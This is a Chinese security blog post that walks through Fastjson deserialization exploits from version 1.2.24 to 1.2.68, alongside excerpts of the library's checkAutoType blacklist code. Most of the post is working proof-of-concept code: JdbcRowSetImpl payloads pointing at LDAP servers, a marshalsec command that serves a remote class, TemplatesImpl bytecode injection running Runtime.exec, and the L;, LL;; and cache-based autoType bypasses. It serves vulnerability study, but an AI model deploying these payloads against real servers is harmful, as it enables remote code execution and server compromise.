JavaSec Fastjson反序列漏洞复现

在《JavaSec FastJson反序列化漏洞利用原理》中分析了FastJson的反序列化漏洞成因,也总结了FastJson的反序列化利用方式,这里将复现一些有关FastJson的漏洞利用,以清晰了解FastJson的漏洞发展史,从中吸取攻防经验。

在FastJson的官方公告中出现两次安全公告:

1.security_update_20170315

最近发现fastjson在1.2.24 以及之前版本存在远程代码执行高危安全漏洞,为了保证系统安全,请升级到1.2.28/1.2.29/1.2.30/1.2.31或者更新版本。

安全升级包禁用了部分autotype的功能,也就是”@type”这种指定类型的功能会被限制在一定范围内使用。如果你使用场景中包括了这个功能, 这里有一个介绍如何添加白名单或者打开autotype功能

2.security_update_20200601

最近发现fastjson在1.2.68黑客利用漏洞,可绕过autoType限制,直接远程执行任意命令攻击服务器,风险极大。

fastjson采用黑白名单的方法来防御反序列化漏洞,导致当黑客不断发掘新的反序列化Gadgets类时,在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制,造成远程命令执行漏洞。经研究,该漏洞利用门槛较低,可绕过autoType限制,风险影响较大。阿里云应急响应中心提醒fastjson用户尽快采取安全措施阻止漏洞攻击.

影响版本:

  • fastjson <=1.2.68
  • fastjson sec版本 <= sec9

safeMode加固:

fastjson在1.2.68及之后的版本中引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化Gadgets类变种攻击(关闭autoType注意评估对业务的影响)

JSON#parseObject()
    JSON#parse()
        new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features) # 记录field在还原对象的调用method
        DefaultJSONParser#parse()
            DefaultJSONParser#parseObject()
                ParserConfig#checkAutoType() # 引入的黑名单白名单
                    TypeUtils.loadClass() #正常的逻辑进入这里进行类的加载Json的parser建立

从安全的公告中可以看出这两个关键的节点:

  • autoType的利用
  • autoType的绕过

环境默认不说明是JDK1.8u181

一、Fastjson <= 1.2.24

在这个版本之前,Fastjson默认支持autoType属性,即可以通过@Type指定Fastjon调用特定类的setter 或者getter方法,且黑名单中只有连个类,利用的方式有:

1.JNDI 注入利用

2.Java类加载或反序列利用

通过marshalsec快速搭建LDAP服务器

java -cp target\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.58.131:8080/#ExecTest 1099

如通过JNDI注入利用

@Test
public void TestJdbcRowsetImple() {
    final String clazz = "com.sun.rowset.JdbcRowSetImpl";
    final String addr = "ldap://192.168.8.115:1099/evil";


    String poc = "{\"@type\":\"" +clazz +"\","+
        "\"dataSourceName\":\"" + addr + "\"," +
        "\"autoCommit\":true" +
        "}";
    System.out.println(poc);

    JSONObject.parseObject(poc);
}

image-20201228181931863

如通过java类加载利用

public void TestTemplateImple() throws IOException, CannotCompileException, NotFoundException {
    //POC1
    //将字节码输出,TemplateImpl loadClass 实现类的加载
    //FileInputStream fis = new FileInputStream("target/test-classes/com/thonsun/demo02/ExploitOne.class");
    //ByteArrayOutputStream barr = new ByteArrayOutputStream();
    //IOUtils.copy(fis, barr);
    //String base64Poc = Base64.encodeBase64String(barr.toByteArray());
    //

    //POC2
    String base64Poc = Base64.encodeBase64String(getPocbyte());

    final String CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    String poc = "{\"@type\":" + "\"" + CLASS + "\"," +
        "\"_bytecodes\":" + "[\"" + base64Poc + "\"]," +
        "\"_name\":\"thonsun\"," +
        "\"_tfactory\":{}," +
        "\"_outputProperties\":{}}";
    System.out.println(poc);
    JSONObject.parseObject(poc, Feature.SupportNonPublicField);
}

private byte[] getPocbyte() throws CannotCompileException, NotFoundException, IOException {
    ClassPool pool = ClassPool.getDefault();
    CtClass cc = pool.get(TestPoc.class.getName());
    //java.lang.Runtime.getRuntime().exec("calc");
    String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";


    cc.makeClassInitializer().insertBefore(cmd);
    String randomClassName = "Thonsun" + System.nanoTime();
    cc.setName(randomClassName);
    cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); //设置父类
    return cc.toBytecode();
}

JDK1.8u181

image-20201228175608633

二、Fastjson blacklist

选择fastjson 1.2.47版本说明fastjson在1.2.24版本后引入的防御机制

2.1 Fastjson 1.2.25

在1.2.25开始,fastjson 设置autoType默认关闭,同时增加了黑名的机制。下面的一些绕过是基于显式开启autoType的绕过利用。

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        }

        final String className = typeName.replace('$', '.');


        if (autoTypeSupport || expectClass != null) {
            //先进行白名单匹配,如果匹配成功则直接返回。可见所谓的关闭白名单机制是不只限于白名单
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    return TypeUtils.loadClass(typeName, defaultClassLoader);
                }
            }
           //同样进行黑名单匹配,如果匹配成功,则报错推出。
            //需要注意这百年所谓的匹配都是startsWith开头匹配
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        //一些固定类型的判断,不会对clazz进行赋值,此处省略

        //不匹配白名单中也不匹配黑名单的,进入此处,进行class加载
        if (autoTypeSupport || expectClass != null) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
        }

        //对于加载的类进行危险性判断,判断加载的clazz是否继承自Classloader与DataSource
        if (clazz != null) {
            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }
        }
        //返回加载的class
        return clazz;
}

再次运行POC:

在checkAutoType函数处可以看到fastjson的黑名单默认21个,白名单没有,这里的poc命中 com.sun.(startWith)结束Json解析

image-20201228184614482

这里的两个绕过利用的思路

1.寻找不在黑名的利用类

2.寻找checkAutoType()逻辑漏洞绕过黑名单检查,如添加特殊字符。

可以看到最终的TypeUtils.loadClass()辑

image-20201228185805413

  • 如果这个className是以[开头我们会去掉[进行加载!

    但是实际上在代码中也可以看见它会返回Array的实例变成数组。在实际中它远远不会执行到这一步,在json串解析时就已经报错。

  • 如果这个className是以L开头;结尾,就会去掉开头和结尾进行加载!

所以一个绕过的poc,这个poc在 Fastjson 1.2.25 -~ 1.2.41都可以使用

@Test
public void TestJdbcRowsetImple() {
    final String clazz = "Lcom.sun.rowset.JdbcRowSetImpl;";
    final String addr = "ldap://192.168.8.115:1099/evil";


    String poc = "{\"@type\":\"" +clazz +"\","+
        "\"dataSourceName\":\"" + addr + "\"," +
        "\"autoCommit\":true" +
        "}";
    System.out.println(poc);

    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    JSONObject.parseObject(poc);
}

image-20201228193225941

2.2 Fastjson 1.2.42

在Fastjson 12.42的版本中,对上面的绕过进行了修复

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
        if (typeName == null) {
            return null;
        } else if (typeName.length() < 128 && typeName.length() >= 3) {
            String className = typeName.replace('$', '.');
            Class<?> clazz = null;
            long BASIC = -3750763034362895579L;
            long PRIME = 1099511628211L;
            if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                className = className.substring(1, className.length() - 1);
            }

            long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
            long hash;
            int i;
            if (this.autoTypeSupport || expectClass != null) {
                hash = h3;

                for(i = 3; i < className.length(); ++i) {
                    hash ^= (long)className.charAt(i);
                    hash *= 1099511628211L;
                    if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
                        clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                        if (clazz != null) {
                            return clazz;
                        }
                    }

                    if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }

            if (clazz == null) {
                clazz = TypeUtils.getClassFromMapping(typeName);
            }

            if (clazz == null) {
                clazz = this.deserializers.findClass(typeName);
            }

            if (clazz != null) {
                if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                } else {
                    return clazz;
                }
            } else {
                if (!this.autoTypeSupport) {
                    hash = h3;

                    for(i = 3; i < className.length(); ++i) {
                        char c = className.charAt(i);
                        hash ^= (long)c;
                        hash *= 1099511628211L;
                        if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }

                        if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
                            if (clazz == null) {
                                clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                            }

                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }

                            return clazz;
                        }
                    }
                }

                if (clazz == null) {
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
                }

                if (clazz != null) {
                    if (TypeUtils.getAnnotation(clazz, JSONType.class) != null) {
                        return clazz;
                    }

                    if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }

                    if (expectClass != null) {
                        if (expectClass.isAssignableFrom(clazz)) {
                            return clazz;
                        }

                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }

                    JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this.propertyNamingStrategy);
                    if (beanInfo.creatorConstructor != null && this.autoTypeSupport) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }

                int mask = Feature.SupportAutoType.mask;
                boolean autoTypeSupport = this.autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
                if (!autoTypeSupport) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else {
                    return clazz;
                }
            }
        } else {
            throw new JSONException("autoType is not support. " + typeName);
        }
    }

可以看新的checkAutoType() 逻辑:

1.黑名机制由字符匹配该到hash的逻辑比较,denyHashCodes内置写入,长度有限;所以绕过这个就是寻找新的利用链不在黑名内。

        this.denyHashCodes = new long[]{-8720046426850100497L, -8109300701639721088L, -7966123100503199569L, -7766605818834748097L, -6835437086156813536L, -4837536971810737970L, -4082057040235125754L, -2364987994247679115L, -1872417015366588117L, -254670111376247151L, -190281065685395680L, 33238344207745342L, 313864100207897507L, 1203232727967308606L, 1502845958873959152L, 3547627781654598988L, 3730752432285826863L, 3794316665763266033L, 4147696707147271408L, 5347909877633654828L, 5450448828334921485L, 5751393439502795295L, 5944107969236155580L, 6742705432718011780L, 7179336928365889465L, 7442624256860549330L, 8838294710098435315L};

2.从checkAutoType()对L 与;做了处理,但只是删除了一次,类似与XSS等防御的双写绕过

if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
    className = className.substring(1, className.length() - 1);
}

所以绕过这个的版本的payload是双写

@Test
public void TestJdbcRowsetImple() {
    //final String clazz = "com.sun.rowset.JdbcRowSetImpl"; //fastjson 1.2.24
    //final String clazz = "Lcom.sun.rowset.JdbcRowSetImpl;"; //fastjson 1.2.41
    final String clazz = "LLcom.sun.rowset.JdbcRowSetImpl;;"; 
    final String addr = "ldap://192.168.8.115:1099/evil";


    String poc = "{\"@type\":\"" +clazz +"\","+
        "\"dataSourceName\":\"" + addr + "\"," +
        "\"autoCommit\":true" +
        "}";
    System.out.println(poc);

    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    JSONObject.parseObject(poc);
}

image-20201228193113524

2.3 fastjson 1.2.43

这个版本对上面的绕过修改了字符的处理 逻辑

//hash计算基础参数
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
//L开头,;结尾
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
    //LL开头
    if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
        //直接爆出异常
        throw new JSONException("autoType is not support. " + typeName);
    }

    className = className.substring(1, className.length() - 1);
}

对于双写的情况直接报错

从这里就是不断寻找新的利用链了,如 ibatis-core 3:0依赖的

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

POC

@Test
public void TestJndiDataSourceFactory(){
    final String clazz = "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory";
    final String addr = "ldap://192.168.8.115:1099/evil";

    String poc = "{\"@type\":\""+clazz+"\",\"properties\":{\"data_source\":\""+addr +"\"}}";
    System.out.println(poc);

    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    JSONObject.parseObject(poc);

}

image-20201228192946432

2.4 fastjson 1.2.47

这是一个通杀的版本,可以不用手动开启autoType,不论autoType设置如何都可以触发

json串满足

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Exploit", 
        "autoCommit": true
    }
}

poc

    @Test
    public void TestGenericCacheBypass() {
        final String payload = "{\n" +
                "    \"a\": {\n" +
                "        \"@type\": \"java.lang.Class\", \n" +
                "        \"val\": \"%s\"\n" +
                "    }, \n" +
                "    \"b\": {\n" +
                "        \"@type\": \"%s\", \n" +
                "        \"dataSourceName\": \"%s\", \n" +
                "        \"autoCommit\": true\n" +
                "    }\n" +
                "}";
        String clazz = "com.sun.rowset.JdbcRowSetImpl";
        String add = "ldap://192.168.8.115:1099/evil";

        String poc = String.format(payload, clazz, clazz, add);
        System.out.println(poc);

        JSONObject.parseObject(poc);
    }

运行效果

image-20201228195007824

三、Fastjson <= 1.2.68

在fastjson1.2.48后对cache缓存进行修复,fastjson 1.2.47通杀的利用自此失效。

这个的利用前提是服务端存在可以利用类

package com.thonsun.demo02;

import java.io.IOException;

/**
 * @Project: test-poc
 * @Desc: fastjson <= 1.2.68利用类
 * @Author: thonsun
 * @Create: 2020/12/28 20:11
 **/
public class VulClass implements AutoCloseable {
    @Override
    public void close() throws Exception {

    }

    public VulClass(String cmd) {
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

poc

@Test
//fastjson <= 1.2.68通杀绕过
public void TestAutoTypeBypass(){
    String poc = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.thonsun.demo02.VulClass\", \"cmd\":\"calc.exe\"}";

    JSONObject.parseObject(poc);
}

运行的效果

image-20201228201543507

参考资料

1.fastjson 安全公告

2.阿里云安全公告


 上一篇
JavaSec Fastjson反序列化漏洞利用原理 JavaSec Fastjson反序列化漏洞利用原理
在上篇《JavaSec Java反序列化漏洞利用》中指出,不安全的输入字节流参与甚至改变了程序的执行流是Java反序列化漏洞利用的成因,对于从字节序列反向实例化对象除了Java Serialize外,还有json,xml等传输数据格式,其中
2020-11-20
下一篇 
JavaSec Jackjson反序列化漏洞利用原理 JavaSec Jackjson反序列化漏洞利用原理
在上篇《JavaSec FastJson反序列化漏洞利用原理》中介绍了FastJson的基本使用与及fastjson在解析json串还原对象状态的逻辑及其中的利用点,而FastJson的修复方式也是仅仅加一些黑名单限制和一些字符处理,但都有
2020-11-02
  目录